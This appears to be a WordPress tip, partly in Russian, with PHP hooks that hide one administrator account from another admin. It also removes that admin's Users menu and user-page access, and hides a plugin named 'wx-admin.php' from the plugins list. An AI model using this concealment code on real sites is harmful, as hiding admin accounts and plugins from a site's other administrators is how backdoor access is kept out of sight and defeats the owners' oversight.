Replace text with the actual usernames of the users involved. You can also modify this to hide one admin from all other users (except him/herself), or based on user IDs or roles. For WordPress 3.1+.
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == '<USERNAME OF OTHER ADMIN>') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
}
}
или вот тут чуть больший цикл прятанья и админа и некоторой админки. думаю, что по коду разберетесь 🙂
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == 'psm-admin') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'admin'",$user_search->query_where);
}
}
/*
* Hide admin menus for non Network Admins
*/
function custom_remove_admin_theme_remove_menus () {
global $current_user;
$username = $current_user->user_login;
if ($username == 'psm-admin') {
global $menu;
$restricted = array(
__( 'Users' ),
);
end ( $menu );
while ( prev( $menu ) ) {
$value = explode( ' ',$menu[key( $menu )][0] );
if ( in_array( $value[0] != NULL ? $value[0]: '', $restricted ) ) {
unset( $menu[key( $menu )] );
}
}
}
}
add_action('admin_menu', 'custom_remove_admin_theme_remove_menus', 10);
/*
* If user is not a SuperAdmin, when they try to access the below URLs they are redirected back to the dashboard.
*/
function restrict_admin_with_redirect() {
global $current_user;
$username = $current_user->user_login;
$restrictions = array(
'/wp-admin/users.php',
'/wp-admin/user-new.php'
);
foreach ( $restrictions as $restriction ) {
if ( $username == 'psm-admin' && $_SERVER['PHP_SELF'] == $restriction ) {
wp_redirect( admin_url() );
exit;
}
}
}
add_action( 'admin_init', 'restrict_admin_with_redirect' );
function mytest() {
global $wp_list_table;
$hidearr = array('wx-admin.php');
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key,$hidearr))
unset($wp_list_table->items[$key]);
}
}
add_action( 'pre_current_active_plugins', 'mytest' );

